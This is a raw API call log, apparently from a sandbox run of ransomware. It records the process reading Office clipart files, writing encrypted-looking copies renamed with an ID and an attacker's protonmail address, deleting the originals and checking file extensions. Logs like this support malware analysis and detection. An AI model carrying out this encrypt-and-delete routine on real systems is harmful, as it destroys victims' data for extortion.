	[0073.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.569] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=8070) returned 1
	[0074.569] CloseHandle (hObject=0x388) returned 1
	[0074.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220
	[0074.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.570] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.570] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.570] GetLastError () returned 0x0
	[0074.570] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1f86, lpOverlapped=0x0) returned 1
	[0074.573] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0074.574] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.574] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.575] SetEndOfFile (hFile=0x33c) returned 1
	[0074.575] CloseHandle (hObject=0x33c) returned 1
	[0074.576] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.576] SetEndOfFile (hFile=0x388) returned 1
	[0074.577] CloseHandle (hObject=0x388) returned 1
	[0074.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1
	[0074.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.578] lstrlenW (lpString=".doc") returned 4
	[0074.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.578] lstrlenW (lpString=".docx") returned 5
	[0074.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.578] lstrlenW (lpString=".pdf") returned 4
	[0074.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.578] lstrlenW (lpString=".xls") returned 4
	[0074.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.578] lstrlenW (lpString=".xlsx") returned 5
	[0074.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.578] lstrlenW (lpString=".ppt") returned 4
	[0074.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.578] lstrlenW (lpString=".zip") returned 4
	[0074.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.579] lstrlenW (lpString=".rar") returned 4
	[0074.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.579] lstrlenW (lpString=".bz2") returned 4
	[0074.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.579] lstrlenW (lpString=".7z") returned 3
	[0074.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.579] lstrlenW (lpString=".dbf") returned 4
	[0074.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.579] lstrlenW (lpString=".1cd") returned 4
	[0074.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.579] lstrlenW (lpString=".jpg") returned 4
	[0074.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.579] lstrlenW (lpString=".doc") returned 4
	[0074.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.579] lstrlenW (lpString=".docx") returned 5
	[0074.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.579] lstrlenW (lpString=".pdf") returned 4
	[0074.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.579] lstrlenW (lpString=".xls") returned 4
	[0074.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.580] lstrlenW (lpString=".xlsx") returned 5
	[0074.580] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.580] lstrlenW (lpString=".ppt") returned 4
	[0074.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.580] lstrlenW (lpString=".zip") returned 4
	[0074.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.580] lstrlenW (lpString=".rar") returned 4
	[0074.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.580] lstrlenW (lpString=".bz2") returned 4
	[0074.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.580] lstrlenW (lpString=".7z") returned 3
	[0074.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.580] lstrlenW (lpString=".dbf") returned 4
	[0074.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.580] lstrlenW (lpString=".1cd") returned 4
	[0074.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0074.580] lstrlenW (lpString=".jpg") returned 4
	[0074.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.581] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.581] lstrlenW (lpString="BL00242_.WMF") returned 12
	[0074.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.581] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4024) returned 1
	[0074.581] CloseHandle (hObject=0x388) returned 1
	[0074.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220
	[0074.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.581] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.582] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.582] GetLastError () returned 0x0
	[0074.582] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xfb8, lpOverlapped=0x0) returned 1
	[0074.584] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xfc0, lpOverlapped=0x0) returned 1
	[0074.585] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.585] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.586] SetEndOfFile (hFile=0x33c) returned 1
	[0074.586] CloseHandle (hObject=0x33c) returned 1
	[0074.587] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.587] SetEndOfFile (hFile=0x388) returned 1
	[0074.588] CloseHandle (hObject=0x388) returned 1
	[0074.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.589] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1
	[0074.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.626] lstrlenW (lpString=".doc") returned 4
	[0074.626] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.626] lstrlenW (lpString=".docx") returned 5
	[0074.626] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.626] lstrlenW (lpString=".pdf") returned 4
	[0074.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.626] lstrlenW (lpString=".xls") returned 4
	[0074.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.626] lstrlenW (lpString=".xlsx") returned 5
	[0074.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.626] lstrlenW (lpString=".ppt") returned 4
	[0074.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.626] lstrlenW (lpString=".zip") returned 4
	[0074.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.626] lstrlenW (lpString=".rar") returned 4
	[0074.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.626] lstrlenW (lpString=".bz2") returned 4
	[0074.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.626] lstrlenW (lpString=".7z") returned 3
	[0074.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.626] lstrlenW (lpString=".dbf") returned 4
	[0074.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.626] lstrlenW (lpString=".1cd") returned 4
	[0074.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.627] lstrlenW (lpString=".jpg") returned 4
	[0074.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.627] lstrlenW (lpString=".doc") returned 4
	[0074.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.627] lstrlenW (lpString=".docx") returned 5
	[0074.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.627] lstrlenW (lpString=".pdf") returned 4
	[0074.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.627] lstrlenW (lpString=".xls") returned 4
	[0074.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.627] lstrlenW (lpString=".xlsx") returned 5
	[0074.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.627] lstrlenW (lpString=".ppt") returned 4
	[0074.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.627] lstrlenW (lpString=".zip") returned 4
	[0074.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.627] lstrlenW (lpString=".rar") returned 4
	[0074.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.627] lstrlenW (lpString=".bz2") returned 4
	[0074.627] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.627] lstrlenW (lpString=".7z") returned 3
	[0074.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.628] lstrlenW (lpString=".dbf") returned 4
	[0074.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.628] lstrlenW (lpString=".1cd") returned 4
	[0074.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68
	[0074.628] lstrlenW (lpString=".jpg") returned 4
	[0074.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.628] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.628] lstrlenW (lpString="BL00247_.WMF") returned 12
	[0074.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.629] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=14444) returned 1
	[0074.629] CloseHandle (hObject=0x388) returned 1
	[0074.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220
	[0074.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0074.629] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.629] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.630] GetLastError () returned 0x0
	[0074.630] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x386c, lpOverlapped=0x0) returned 1
	[0074.679] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x3870, lpOverlapped=0x0) returned 1
	[0074.681] ReadFile (in: hFile=0x388, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.681] WriteFile (in: hFile=0x33c, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.681] SetEndOfFile (hFile=0x33c) returned 1
	[0074.697] CloseHandle (hObject=0x33c) returned 1
	[0074.721] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.721] SetEndOfFile (hFile=0x388) returned 1
	[0074.755] CloseHandle (hObject=0x388) returned 1
	[0074.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.755] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1
	[0074.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.755] lstrlenW (lpString=".doc") returned 4
	[0074.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.756] lstrlenW (lpString=".docx") returned 5
	[0074.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.756] lstrlenW (lpString=".pdf") returned 4
	[0074.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.756] lstrlenW (lpString=".xls") returned 4
	[0074.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.756] lstrlenW (lpString=".xlsx") returned 5
	[0074.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.756] lstrlenW (lpString=".ppt") returned 4
	[0074.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.756] lstrlenW (lpString=".zip") returned 4
	[0074.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.756] lstrlenW (lpString=".rar") returned 4
	[0074.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.756] lstrlenW (lpString=".bz2") returned 4
	[0074.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.756] lstrlenW (lpString=".7z") returned 3
	[0074.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.756] lstrlenW (lpString=".dbf") returned 4
	[0074.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.756] lstrlenW (lpString=".1cd") returned 4
	[0074.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.756] lstrlenW (lpString=".jpg") returned 4
	[0074.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.757] lstrlenW (lpString=".doc") returned 4
	[0074.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.757] lstrlenW (lpString=".docx") returned 5
	[0074.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.757] lstrlenW (lpString=".pdf") returned 4
	[0074.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.757] lstrlenW (lpString=".xls") returned 4
	[0074.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.757] lstrlenW (lpString=".xlsx") returned 5
	[0074.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.757] lstrlenW (lpString=".ppt") returned 4
	[0074.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.757] lstrlenW (lpString=".zip") returned 4
	[0074.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.757] lstrlenW (lpString=".rar") returned 4
	[0074.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.757] lstrlenW (lpString=".bz2") returned 4
	[0074.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.757] lstrlenW (lpString=".7z") returned 3
	[0074.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.758] lstrlenW (lpString=".dbf") returned 4
	[0074.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.758] lstrlenW (lpString=".1cd") returned 4
	[0074.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68
	[0074.758] lstrlenW (lpString=".jpg") returned 4
	[0074.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.758] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.758] lstrlenW (lpString="BL00270_.WMF") returned 12
